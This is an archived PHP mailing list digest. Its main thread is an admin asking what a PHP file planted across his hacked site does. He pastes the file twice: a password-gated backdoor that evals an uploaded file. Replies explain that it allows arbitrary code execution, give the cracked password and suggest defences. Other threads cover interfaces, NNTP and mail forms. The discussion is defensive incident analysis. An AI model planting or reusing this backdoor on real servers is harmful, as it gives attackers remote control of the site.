I'm still fighting my hack problem on one of my servers. Can anyone help me figure out what's the purpose of this code. The hack places this file in numerous dirs on the site, I assume using a php script because the owner is nobody. I can sort of figure what is doing; but, I can't figure out what the hacker is using it for. Incidentally, I've changed all passwords and restricted ftp to two people. I see no sign that any code is written with by site owner, i.e, ftp. And, I've looked carefully for suspect php files. ?php error_reporting(1);global $HTTP_SERVER_VARS; function say($t) { echo $t\n; }; function testdata($t) { say(md5(testdata_$t)); }; echo pre; testdata('start'); if (md5($_POST[p])==aace99428c50dbe965acc93f3f275cd3){ if ($code = @fread(@fopen($HTTP_POST_FILES[f][tmp_name],rb),$HTTP_POST_FILES[f][size])){ eval($code); }else{ testdata('f'); }; }else{ testdata('pass'); }; testdata('end'); echo /pre; ? ?php error_reporting(1); global $HTTP_SERVER_VARS; function say($t) { echo $t\n; } ; function testdata($t) { say(md5(testdata_$t)); } ; echo pre; testdata('start'); if (md5($_POST[p]) == aace99428c50dbe965acc93f3f275cd3) { if ($code = @fread(@fopen($HTTP_POST_FILES[f][tmp_name], rb), $HTTP_POST_FILES[f][size])) { eval($code); } else { testdata('f'); } ; } else { testdata('pass'); } ; testdata('end'); echo /pre; ? -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Hack question
Al wrote: I'm still fighting my hack problem on one of my servers. Can anyone help me figure out what's the purpose of this code. The hack places this file in numerous dirs on the site, I assume using a php script because the owner is nobody. I can sort of figure what is doing; but, I can't figure out what the hacker is using it for. Incidentally, I've changed all passwords and restricted ftp to two people. I see no sign that any code is written with by site owner, i.e, ftp. And, I've looked carefully for suspect php files. Hi, If I look up the md5 digest 'aace99428c50dbe965acc93f3f275cd3', more people on the internet have (had) problems with this kind of hack. A quick md5 lookup comes with this: Ox93Mdpqme8s But that doesn't give any Google results, so nobody knows what it is for (or related to). Do you have any third party software installed? Like a BB or a CMS or whatever? When these hackers know your site/server is vulnerable they will keep on exploiting it. Even if it just means SMTP relaying for phishing or a HTTP directory for putting malware in. Keep track of your HTTP-logs and see if these URL's are being requested! Kind regards, Aschwin Wesselius -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] What is the practical use of abstract and interface?
On 16/04/2008, Jay Blanchard [EMAIL PROTECTED] wrote: [snip] What about encapsulation? Interfaces have nothing to do with encapsulation for the smple reason that I can have encapsulation without using interfaces. Unique use of logic there. By similar reasoning; swimming trunks have nothing to do with swimming for the simple reason that I can swim without trunks. You are still missing the fundamental point. There is absolutely nothing I can do WITH interfaces that I cannot do WITHOUT them, therefore they are redundant. How about compile-time checking that the interface has been correctly implemented? -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Hack question
I can sort of figure what is doing; but, I can't figure out what the hacker is using it for. It will allow him to upload and execute arbitrary code on your server. Generally speaking, arbitrary code execution is a bad thing. :). -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Hack question
Al wrote: I'm still fighting my hack problem on one of my servers. Can anyone help me figure out what's the purpose of this code. The hack places this file in numerous dirs on the site, I assume using a php script because the owner is nobody. I can sort of figure what is doing; but, I can't figure out what the hacker is using it for. Incidentally, I've changed all passwords and restricted ftp to two people. I see no sign that any code is written with by site owner, i.e, ftp. And, I've looked carefully for suspect php files. Hi, If I look up the md5 digest 'aace99428c50dbe965acc93f3f275cd3', more people on the internet have (had) problems with this kind of hack. A quick md5 lookup comes with this: Ox93Mdpqme8s But that doesn't give any Google results, so nobody knows what it is for (or related to). Do you have any third party software installed? Like a BB or a CMS or whatever? When these hackers know your site/server is vulnerable they will keep on exploiting it. Even if it just means SMTP relaying for phishing or a HTTP directory for putting malware in. Keep track of your HTTP-logs and see if these URL's are being requested! Kind regards, Aschwin Wesselius -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Hack question
On Wed, Apr 16, 2008 at 12:13 PM, Al [EMAIL PROTECTED] wrote: I'm still fighting my hack problem on one of my servers. Can anyone help me figure out what's the purpose of this code. The hack places this file in numerous dirs on the site, I assume using a php script because the owner is nobody. I can sort of figure what is doing; but, I can't figure out what the hacker is using it for. Incidentally, I've changed all passwords and restricted ftp to two people. I see no sign that any code is written with by site owner, i.e, ftp. And, I've looked carefully for suspect php files. [snip=code] Al, It looks to me as though there may be a script that's allowing writing, judging by the all-as-one-string nature of the first script example. Check your Apache logs to see if that string appears, and if so, to what script it's attacking. Then review the script. If you need a hand, feel free to contact me privately and we can discuss it further. -- /Daniel P. Brown Ask me about: Dedicated servers starting @ $59.99/mo., VPS starting @ $19.99/mo., and shared hosting starting @ $2.50/mo. Unmanaged, managed, and fully-managed! -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Memory limit of 8 MB not enough
On Wed, Apr 16, 2008 at 12:00 PM, David Giragosian [EMAIL PROTECTED] wrote: On 4/16/08, tedd [EMAIL PROTECTED] wrote: At 10:53 AM -0400 4/16/08, Andrew Ballard wrote: On Wed, Apr 16, 2008 at 9:59 AM, tedd [EMAIL PROTECTED] wrote: I saw one the other day that caught my eye -- will look into it. The first problem I see implementing the approach is the JavaScript sandbox. JavaScript is allowed to read the text of the input file field (and thus know the file name and path once a file has been selected); it cannot access the disk to actually get to the image or do anything with it. From here, I'm thinking there are a couple things you could do with JavaScript. The first would be to embed the image into the web page using an IMG tag, which would allow you to determine the pixel dimensions (but not the actual file size). The second would be what Gmail seems to do, and actually upload the form to their server with some sort of AJAX request, at which time your server could return information on the size of the file. However, if the file is too large, you're back to the original problem of needing to increase the RAM limit in PHP. The second problem is, as I said, I'm not aware of any JavaScript that can manipulate the image. JavaScript can cause the display of an image to be resized within the browser, but that doesn't actually affect the stored file. I don't know, but I guess if you could actually get to the bits, you could probably write an algorithm in JavaScript to resize an image by manipulating the bits, but I think it would be dreadfully slow if it would even run without running out of resources. I think the only pure-client options are either Java (which would require special permissions to get out of its own sandbox) or ActiveX. If you know of some other approach, I'd be interested to see how it works. Andrew Andrew: I think you are right -- I wasn't able to resize the image. Here's the link that caught my eye, but it doesn't work as described: http://javascript.internet.com/forms/image-upload-preview.html Cheers, tedd -- It worked for me using IE on XP. David I get nothing in either browser. FF: only the first header line; no content HTTP/0.9 200 OK IE: The page cannot be displayed The page you are looking for is currently unavailable. The Web site might be experiencing technical difficulties, or you may need to adjust your browser settings. [snip] Cannot find server or DNS Error Andrew HTTP/0.9 200 OK Andrew -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] PHP with NNTP?
Is it possible to do it without using imap? I am trying to get the list of all users that is on the newsgroup, is that possible? chris smith-9 wrote: vester_s wrote: Hi, Can anybody tell me how can php connect to NNTP to get the list of all users in the newsgroups? http://php.net/imap supports nntp. -- Postgresql php tutorials http://www.designmagick.com/ -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php -- View this message in context: http://www.nabble.com/PHP-with-NNTP--tp16713817p16723692.html Sent from the PHP - General mailing list archive at Nabble.com. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] PHP with NNTP?
On Wed, Apr 16, 2008 at 3:38 AM, Crayon Shin Chan [EMAIL PROTECTED] wrote: On Wednesday 16 April 2008, vester_s wrote: Can anybody tell me how can php connect to NNTP to get the list of all users in the newsgroups? NNTP has no concept of users. Crayon is right. Authentication is probably being done via PAM or an IMAP module (or something of the sort). -- /Daniel P. Brown Ask me about: Dedicated servers starting @ $59.99/mo., VPS starting @ $19.99/mo., and shared hosting starting @ $2.50/mo. Unmanaged, managed, and fully-managed! -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Hack question
Al wrote: I'm still fighting my hack problem on one of my servers. Can anyone help me figure out what's the purpose of this code. The hack places this file in numerous dirs on the site, I assume using a php script because the owner is nobody. I can sort of figure what is doing; but, I can't figure out what the hacker is using it for. Incidentally, I've changed all passwords and restricted ftp to two people. I see no sign that any code is written with by site owner, i.e, ftp. And, I've looked carefully for suspect php files. ?php error_reporting(1);global $HTTP_SERVER_VARS; function say($t) { echo $t\n; }; function testdata($t) { say(md5(testdata_$t)); }; echo pre; testdata('start'); if (md5($_POST[p])==aace99428c50dbe965acc93f3f275cd3){ if ($code = @fread(@fopen($HTTP_POST_FILES[f][tmp_name],rb),$HTTP_POST_FILES[f][size])){ eval($code); }else{ testdata('f'); }; }else{ testdata('pass'); }; testdata('end'); echo /pre; ? ?php error_reporting(1); global $HTTP_SERVER_VARS; function say($t) { echo $t\n; } ; function testdata($t) { say(md5(testdata_$t)); } ; echo pre; testdata('start'); if (md5($_POST[p]) == aace99428c50dbe965acc93f3f275cd3) { if ($code = @fread(@fopen($HTTP_POST_FILES[f][tmp_name], rb), $HTTP_POST_FILES[f][size])) { eval($code); } else { testdata('f'); } ; } else { testdata('pass'); } ; testdata('end'); echo /pre; ? My first suggestion is disable the use of exec in the disable_functions entry in your php.ini file. I would not allow the call to exec to be completed. so, something like this should work for now. disable_functions = exec also, you could modify the file that is being ran to actually capture the uploaded file contents. change out the exec part and have it log it to a file somewhere. Then you can see what they are actually trying to do. -- Jim Lucas Some men are born to greatness, some achieve greatness, and some have greatness thrust upon them. Twelfth Night, Act II, Scene V by William Shakespeare -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Database abstraction?
hope ya dont mind if i borrow that one :D arm, have you seen my website...? :-) i was reading through it, and i was like; holy shit; that dudes from the list !! btw, i talked to the guy who wrote solar, when i was in dc last year. really cool fellow; but i talked his ear off :O Hope you reattached it for him... :-) -- Richard Heyes Employ me: http://www.phpguru.org/cv -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Forking and fsock
On Tue, Apr 15, 2008 at 7:16 PM, Kyle Browning [EMAIL PROTECTED] wrote: Is there a way I can get my fsock to stay open when the child process exits? Kyle Kyle, Are you trying to create a PHP daemon? What do you mean by child process is PHP launching a second script to connect to itself via socket? -- /Daniel P. Brown Ask me about: Dedicated servers starting @ $59.99/mo., VPS starting @ $19.99/mo., and shared hosting starting @ $2.50/mo. Unmanaged, managed, and fully-managed! -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Reserved var for checking remote IP address
Is there a reverved variable that can be used to check the remote IP address of the computer hitting your web page? Javier -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Reserved var for checking remote IP address
On Wed, Apr 16, 2008 at 1:57 PM, Javier Huerta [EMAIL PROTECTED] wrote: Is there a reverved variable that can be used to check the remote IP address of the computer hitting your web page? ?php $_SERVER['REMOTE_ADDR']; ? -- /Daniel P. Brown Ask me about: Dedicated servers starting @ $59.99/mo., VPS starting @ $19.99/mo., and shared hosting starting @ $2.50/mo. Unmanaged, managed, and fully-managed! -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] What is the practical use of abstract and interface?
On Wed, 2008-04-16 at 17:22 +0100, Robin Vickery wrote: On 16/04/2008, Jay Blanchard [EMAIL PROTECTED] wrote: [snip] What about encapsulation? Interfaces have nothing to do with encapsulation for the smple reason that I can have encapsulation without using interfaces. Unique use of logic there. By similar reasoning; swimming trunks have nothing to do with swimming for the simple reason that I can swim without trunks. You are still missing the fundamental point. There is absolutely nothing I can do WITH interfaces that I cannot do WITHOUT them, therefore they are redundant. How about compile-time checking that the interface has been correctly implemented? Exactly, I was about to write the same line to Tony. Yes, you can do everything without interfaces (and I do), but some people like the safety net of compile time checks for full implementation of the interfaces requirements... the problem is when you're testing the buildup of code for an interface, you often make function stubs until you get to them... and you might forget one ;) Cheers, Rob. -- http://www.interjinn.com Application and Templating Framework for PHP -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] PHP Unit Test - Code Coverage - Continuous Intergration?
Hello, I think of PHPUnit+Xdebug+PHPUndercontrol. Brice Favre On Wed, Apr 16, 2008 at 8:17 PM, Jay Paulson [EMAIL PROTECTED] wrote: Hi everyone, I¹m just not getting into unit testing and was wondering what tools are out there that will automatically run unit tests continuously and make reports if a test failed and how much/what code was tested. Currently in Java land I¹m using Hudson, ant, Junit, and Coberatura. Thanks! Jay
Re: [PHP] Reserved var for checking remote IP address
Daniel Brown [EMAIL PROTECTED] wrote in message Is there a reverved variable that can be used to check the remote IP address of the computer hitting your web page? ?php $_SERVER['REMOTE_ADDR']; ? Wow that was quick, thanks Daniel. Javier -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] PHP Unit Test - Code Coverage - Continuous Intergration?
Hi everyone, I¹m just not getting into unit testing and was wondering what tools are out there that will automatically run unit tests continuously and make reports if a test failed and how much/what code was tested. Currently in Java land I¹m using Hudson, ant, Junit, and Coberatura. Thanks! Jay
Re: [PHP] PHP with NNTP?
Daniel Brown wrote: On Wed, Apr 16, 2008 at 3:38 AM, Crayon Shin Chan [EMAIL PROTECTED] wrote: On Wednesday 16 April 2008, vester_s wrote: Can anybody tell me how can php connect to NNTP to get the list of all users in the newsgroups? NNTP has no concept of users. Crayon is right. Authentication is probably being done via PAM or an IMAP module (or something of the sort). If required, authentication is done via NNTP. The nntp servers can be set up to require authentication for some or more groups, for instance for closed user communities. If you check your newsreader, you'll no doubt find a place to tick authentication required and to enter userid and password. /Per Jessen, Zürich -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] What is the practical use of abstract and interface?
On Wed, Apr 16, 2008 at 5:47 AM, Tony Marston [EMAIL PROTECTED] wrote: Robert Cummings [EMAIL PROTECTED] wrote in message While I agree that Interfaces are mostly a lot of extra code, I have to also say that they are there primarily to enforce a contract between the user of the interface and their classes that claim to implement the interface. If someone creates a class that Implements an interface, then when I have to go edit or use the class, it had better damn well implement what it says it does :) enforcing a contract is a lot of maningless gobbledegook. The simple fact is that it is possible to have an interface without ever using the term interface. Nothing extra is added by using the term interface (except for effort) so there is absolutely no advantage in doing so. That is why I say that the term interface is a waste of effort as absolutely nothng is gained. can u say dejavu ?? lets c if we can get another 100 post thread going like we did last year :D this is turning into a dup. -nathan
Re: [PHP] What is the practical use of abstract and interface?
On Wed, 2008-04-16 at 12:43 -0600, Nathan Nobbe wrote: On Wed, Apr 16, 2008 at 5:47 AM, Tony Marston [EMAIL PROTECTED] wrote: Robert Cummings [EMAIL PROTECTED] wrote in message While I agree that Interfaces are mostly a lot of extra code, I have to also say that they are there primarily to enforce a contract between the user of the interface and their classes that claim to implement the interface. If someone creates a class that Implements an interface, then when I have to go edit or use the class, it had better damn well implement what it says it does :) enforcing a contract is a lot of maningless gobbledegook. The simple fact is that it is possible to have an interface without ever using the term interface. Nothing extra is added by using the term interface (except for effort) so there is absolutely no advantage in doing so. That is why I say that the term interface is a waste of effort as absolutely nothng is gained. can u say dejavu ?? lets c if we can get another 100 post thread going like we did last year :D this is turning into a dup. I've been on this list long enough to know that 99% of what comes across is a dupe :) Cheers, Rob. -- http://www.interjinn.com Application and Templating Framework for PHP -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] What is the practical use of abstract and interface?
On Wed, Apr 16, 2008 at 12:01 PM, Robert Cummings [EMAIL PROTECTED] wrote: On Wed, 2008-04-16 at 17:22 +0100, Robin Vickery wrote: On 16/04/2008, Jay Blanchard [EMAIL PROTECTED] wrote: [snip] What about encapsulation? Interfaces have nothing to do with encapsulation for the smple reason that I can have encapsulation without using interfaces. Unique use of logic there. By similar reasoning; swimming trunks have nothing to do with swimming for the simple reason that I can swim without trunks. You are still missing the fundamental point. There is absolutely nothing I can do WITH interfaces that I cannot do WITHOUT them, therefore they are redundant. How about compile-time checking that the interface has been correctly implemented? Exactly, I was about to write the same line to Tony. Yes, you can do everything without interfaces (and I do), but some people like the safety net of compile time checks for full implementation of the interfaces requirements... the problem is when you're testing the buildup of code for an interface, you often make function stubs until you get to them... and you might forget one ;) yes; i like them a lot. they make concepts explicit and code easier to understand. its very clear that when implementing an interface, in the technical terms of the language (php), that you have to fill in all the blanks. on the contrary, w/o the keyword hopefully youll be able to test in development and catch those missing blanks before the code ships off to production :) but heres the way i look at it, if youre in a class thats been hanging around for a while, you see a bunch of methods in there that are 'implicitly' implementing an interface, it could take you some time to determine why theyre even there in the first place. in which case, youll have to rely on good documentation of the code. interfaces take this to a higher level, and make it very clear why a certain set of functions are in the code. if you ask me; interfaces are awesome; theyre lightweight versions of abstract classes or in c++ terms they are purely virtual classes. you dont run the risk of getting a bunch of potentially harmful behavior from a abstract base class; and you dont bloat up a class hierarchy either. in fact, thats where the interface keyword came from, if im not mistaken. back in the day, the c++ guys were writing virtual classes where every method was virtual. java took it one step further; they determined, well theres this trend here; why dont we bring it to the fore and give it a particular term. php has simply followed suit w/ this most excellent paradigm. btw. everything i said in the conversation 6 months back is still valid and i stand behind every bit of it. to OP; grab a design patterns book, like heads first, gang of four, or martin fowler - patterns of enterprise application architecture for great practical examples of interface keyword application. you might also look through the archives about an example i posted for the multiple inheritance workaround using interfaces and composition. this is the java way, and now ultimately the php way as well :D -nathan
Re: [PHP] What is the practical use of abstract and interface?
On Wed, Apr 16, 2008 at 12:54 PM, Robert Cummings [EMAIL PROTECTED] wrote: On Wed, 2008-04-16 at 12:43 -0600, Nathan Nobbe wrote: On Wed, Apr 16, 2008 at 5:47 AM, Tony Marston [EMAIL PROTECTED] wrote: Robert Cummings [EMAIL PROTECTED] wrote in message While I agree that Interfaces are mostly a lot of extra code, I have to also say that they are there primarily to enforce a contract between the user of the interface and their classes that claim to implement the interface. If someone creates a class that Implements an interface, then when I have to go edit or use the class, it had better damn well implement what it says it does :) enforcing a contract is a lot of maningless gobbledegook. The simple fact is that it is possible to have an interface without ever using the term interface. Nothing extra is added by using the term interface (except for effort) so there is absolutely no advantage in doing so. That is why I say that the term interface is a waste of effort as absolutely nothng is gained. can u say dejavu ?? lets c if we can get another 100 post thread going like we did last year :D this is turning into a dup. I've been on this list long enough to know that 99% of what comes across is a dupe :) awesome; lets see if we can break 100 this time around ;) -nathan
Re: [PHP] What is the practical use of abstract and interface?
Nathan Nobbe wrote: On Wed, Apr 16, 2008 at 5:47 AM, Tony Marston [EMAIL PROTECTED] wrote: Robert Cummings [EMAIL PROTECTED] wrote in message While I agree that Interfaces are mostly a lot of extra code, I have to also say that they are there primarily to enforce a contract between the user of the interface and their classes that claim to implement the interface. If someone creates a class that Implements an interface, then when I have to go edit or use the class, it had better damn well implement what it says it does :) enforcing a contract is a lot of maningless gobbledegook. The simple fact is that it is possible to have an interface without ever using the term interface. Nothing extra is added by using the term interface (except for effort) so there is absolutely no advantage in doing so. That is why I say that the term interface is a waste of effort as absolutely nothng is gained. can u say dejavu ?? lets c if we can get another 100 post thread going like we did last year :D this is turning into a dup. -nathan This is a holy war that is never going to end. It boils down to personal and professional preferences. The fact of the matter is, if a company uses these concepts and you don't know, understand, or execute that knowledge in an interview, chances are you're not going to be hired. It doesn't matter what your personal opinion is on the feature of the language. Useless or not, if it's not your project, you don't get to make that call. If it is your project, do whatever you want. -- Jeremy Privett C.E.O. C.S.A. Omega Vortex Corporation http://www.omegavortex.net Please note: This message has been sent with information that could be confidential and meant only for the intended recipient. If you are not the intended recipient, please delete all copies and inform us of the error as soon as possible. Thank you for your cooperation.
Re: [PHP] What is the practical use of abstract and interface?
On Wed, Apr 16, 2008 at 12:56 PM, Jeremy Privett [EMAIL PROTECTED] wrote: This is a holy war that is never going to end. It boils down to personal and professional preferences. The fact of the matter is, if a company uses these concepts and you don't know, understand, or execute that knowledge in an interview, chances are you're not going to be hired. It doesn't matter what your personal opinion is on the feature of the language. Useless or not, if it's not your project, you don't get to make that call. If it is your project, do whatever you want. quite concise. i would venture to say that php is broad enough in its feature set that there are jobs out there for developers all over the spectrum on paradigm preference. that said, id also venture to say that many of the larger php shops out there are looking for the oop concepts; and yes, im including interfaces in there; tho many companies that are oop dont care about them. on top of that; i think facebook is like only somewhat oop. they showed us some of their code when i was in dc. and a lot of it was procedural. -nathan
Re: [PHP] PHP with NNTP?
On Wed, Apr 16, 2008 at 2:42 PM, Per Jessen [EMAIL PROTECTED] wrote: If required, authentication is done via NNTP. The nntp servers can be set up to require authentication for some or more groups, for instance for closed user communities. If you check your newsreader, you'll no doubt find a place to tick authentication required and to enter userid and password. Correct, but to my understanding, NNTP only matches the data for authentication (using PAM, LDAP, etc.), just like SSH, most FTP, and other services. What I sent didn't mean that NNTP can't use authentication, but rather that Crayon was right in stating that NNTP doesn't track the users itself. I'll admit, though, that I could be wrong on this. Every once in a very great while, it's been known to happen. :-\ -- /Daniel P. Brown Ask me about: Dedicated servers starting @ $59.99/mo., VPS starting @ $19.99/mo., and shared hosting starting @ $2.50/mo. Unmanaged, managed, and fully-managed! -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] What is the practical use of abstract and interface?
Nathan Nobbe wrote: On Wed, Apr 16, 2008 at 12:56 PM, Jeremy Privett [EMAIL PROTECTED] wrote: This is a holy war that is never going to end. It boils down to personal and professional preferences. The fact of the matter is, if a company uses these concepts and you don't know, understand, or execute that knowledge in an interview, chances are you're not going to be hired. It doesn't matter what your personal opinion is on the feature of the language. Useless or not, if it's not your project, you don't get to make that call. If it is your project, do whatever you want. quite concise. i would venture to say that php is broad enough in its feature set that there are jobs out there for developers all over the spectrum on paradigm preference. that said, id also venture to say that many of the larger php shops out there are looking for the oop concepts; and yes, im including interfaces in there; tho many companies that are oop dont care about them. on top of that; i think facebook is like only somewhat oop. they showed us some of their code when i was in dc. and a lot of it was procedural. -nathan Absolutely. There's enough out there to get whatever you're looking for, if you do the work and look hard enough. A place I worked at last year had its infrastructure centered around this system called XOBase ( http://www.xobase.com ) which is arguably the worst system I've worked with in my life. It was all procedural, though. Not a shread of OOP to find there until after I started. I quit shortly after I started because the place completely misrepresented the work I was supposed to be doing, the working environment, and a lot more that I can't say here. There were four developers working on one system, one remotely on the opposite side of the country, and the company didn't even use anything resembling source control. I can't tell you the number of problems they had when trying to roll out releases. I started in the middle of a release cycle, so they wouldn't take the time to let me try and implement at least SVN for their source control woes. Moral of the story, there's plenty of stuff out there, and a lot of it really isn't that great. Good luck with whatever you choose to do. -- Jeremy Privett C.E.O. C.S.A. Omega Vortex Corporation http://www.omegavortex.net Please note: This message has been sent with information that could be confidential and meant only for the intended recipient. If you are not the intended recipient, please delete all copies and inform us of the error as soon as possible. Thank you for your cooperation.
Re: [PHP] PHP with NNTP?
Daniel Brown wrote: On Wed, Apr 16, 2008 at 2:42 PM, Per Jessen [EMAIL PROTECTED] wrote: If required, authentication is done via NNTP. The nntp servers can be set up to require authentication for some or more groups, for instance for closed user communities. If you check your newsreader, you'll no doubt find a place to tick authentication required and to enter userid and password. Correct, but to my understanding, NNTP only matches the data for authentication (using PAM, LDAP, etc.), just like SSH, most FTP, and other services. What I sent didn't mean that NNTP can't use authentication, but rather that Crayon was right in stating that NNTP doesn't track the users itself. I'll admit, though, that I could be wrong on this. Every once in a very great while, it's been known to happen. :-\ Well, NNTP (the protocol) certainly has a userid/password concept, and so does e.g. INN, the news-server I'm using. I'm sure INN _could_ use a PAM-module for interfacing Linux access control, but the straight forward config with restricted access is done with userid/passwd files generated by htpasswd (from apache). /Per Jessen, Zürich -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] PHP with NNTP?
On Wed, Apr 16, 2008 at 3:27 PM, Per Jessen [EMAIL PROTECTED] wrote: Well, NNTP (the protocol) certainly has a userid/password concept, and so does e.g. INN, the news-server I'm using. I'm sure INN _could_ use a PAM-module for interfacing Linux access control, but the straight forward config with restricted access is done with userid/passwd files generated by htpasswd (from apache). Ah, duly-noted. This must've been one of those once in a very great while moments where I'm wrong. I should be good for a while now. ;-P -- /Daniel P. Brown Ask me about: Dedicated servers starting @ $59.99/mo., VPS starting @ $19.99/mo., and shared hosting starting @ $2.50/mo. Unmanaged, managed, and fully-managed! -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Newbie question about sending email
I wanted a form for people in my community to use to subscribe to a yahoo group that I run. Not being a PHP programmer, I created the form with phpFormGenerator from SourceForge. It works fine except that the email that gets sent to yahoo appears to come from my web host's domain! How can I change things so that the email appears to come from the email address that is entered in the form? Thanks. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Newbie question about sending email
On Wed, Apr 16, 2008 at 3:53 PM, Pete Holsberg [EMAIL PROTECTED] wrote: I wanted a form for people in my community to use to subscribe to a yahoo group that I run. Not being a PHP programmer, I created the form with phpFormGenerator from SourceForge. It works fine except that the email that gets sent to yahoo appears to come from my web host's domain! How can I change things so that the email appears to come from the email address that is entered in the form? Make sure that the From:, Reply-To:, and Return-Path: headers are correctly set in the form processing code, that the headers in general are properly constructed, and that your host allows aliased sending by configuration (some MTA configurations only allow a single address, to reduce SPAM and such). -- /Daniel P. Brown Ask me about: Dedicated servers starting @ $59.99/mo., VPS starting @ $19.99/mo., and shared hosting starting @ $2.50/mo. Unmanaged, managed, and fully-managed! -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Newbie question about sending email
Daniel Brown has written on 4/16/2008 4:04 PM: On Wed, Apr 16, 2008 at 3:53 PM, Pete Holsberg [EMAIL PROTECTED] wrote: I wanted a form for people in my community to use to subscribe to a yahoo group that I run. Not being a PHP programmer, I created the form with phpFormGenerator from SourceForge. It works fine except that the email that gets sent to yahoo appears to come from my web host's domain! How can I change things so that the email appears to come from the email address that is entered in the form? Make sure that the From:, Reply-To:, and Return-Path: headers are correctly set in the form processing code, that the headers in general are properly constructed, and that your host allows aliased sending by configuration (some MTA configurations only allow a single address, to reduce SPAM and such). The entire processor.php file is: ?php $where_form_is=http://.$_SERVER['SERVER_NAME'].strrev(strstr(strrev($_SERVER['PHP_SELF']),/)); mail([EMAIL PROTECTED],[EMAIL PROTECTED],SUBSCRIBE,Form data: Name: . $_POST['field_1'] . Street Address: . $_POST['field_2'] . Phone Number: . $_POST['field_3'] . Email Address: . $_POST['field_4'] . powered by phpFormGenerator. ); include(confirm.html); ? -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Newbie question about sending email
On Wed, Apr 16, 2008 at 4:39 PM, Pete Holsberg [EMAIL PROTECTED] wrote: The entire processor.php file is: ?php $where_form_is=http://.$_SERVER['SERVER_NAME'].strrev(strstr(strrev($_SERVER['PHP_SELF']),/)); mail([EMAIL PROTECTED],[EMAIL PROTECTED],SUBSCRIBE,Form data: Name: . $_POST['field_1'] . Street Address: . $_POST['field_2'] . Phone Number: . $_POST['field_3'] . Email Address: . $_POST['field_4'] . powered by phpFormGenerator. ); include(confirm.html); ? Note the mail() parameters. There's no header information there. In your HTML form, add the following field (dress up the HTML as needed to fit with your form): input type=text name=from_addr Then, change the email processing code to the following: ?php $where_form_is = http://.$_SERVER['SERVER_NAME'].dirname($_SERVER['PHP_SELF'])./; $to = [EMAIL PROTECTED],[EMAIL PROTECTED]; $subject = SUBSCRIBE; $from = $_POST['from_addr']; $body = Form data: Name: .$_POST['field_1']. Email: .$_POST['from_addr']. Street Address: .$_POST['field_2']. Phone Number: .$_POST['field_3']. Email Address: .$_POST['field_4']. powered by phpFormGenerator, but fixed by PHP-General!; $headers = From: \.$_POST['field_1'].\ .$_POST['from_addr'].\r\n; $headers .= X-Mailer: PHP/.phpversion().\r\n; include(confirm.html); ? Keep in mind, though, that there's no validation and no SPAM protection there, but if you're letting Yahoo! manage the group, it's not *quite* as big of a deal. You may notice SPAM coming through to the @pobox.com address from the form though. -- /Daniel P. Brown Dedicated Servers - Intel 2.4GHz w/2TB bandwidth/mo. starting at just $59.99/mo. with no contract! Dedicated servers, VPS, and hosting from $2.50/mo. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Newbie question about sending email
Daniel Brown has written on 4/16/2008 4:56 PM: On Wed, Apr 16, 2008 at 4:39 PM, Pete Holsberg [EMAIL PROTECTED] wrote: The entire processor.php file is: ?php $where_form_is=http://.$_SERVER['SERVER_NAME'].strrev(strstr(strrev($_SERVER['PHP_SELF']),/)); mail([EMAIL PROTECTED],[EMAIL PROTECTED],SUBSCRIBE,Form data: Name: . $_POST['field_1'] . Street Address: . $_POST['field_2'] . Phone Number: . $_POST['field_3'] . Email Address: . $_POST['field_4'] . powered by phpFormGenerator. ); include(confirm.html); ? Note the mail() parameters. There's no header information there. In your HTML form, add the following field (dress up the HTML as needed to fit with your form): input type=text name=from_addr Then, change the email processing code to the following: ?php $where_form_is = http://.$_SERVER['SERVER_NAME'].dirname($_SERVER['PHP_SELF'])./; $to = [EMAIL PROTECTED],[EMAIL PROTECTED]; $subject = SUBSCRIBE; $from = $_POST['from_addr']; $body = Form data: Name: .$_POST['field_1']. Email: .$_POST['from_addr']. Street Address: .$_POST['field_2']. Phone Number: .$_POST['field_3']. Email Address: .$_POST['field_4']. Why do I need both from_addr and field_4 (Email Address)? Could I just use $from = $_POST['field_4']? Thanks. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php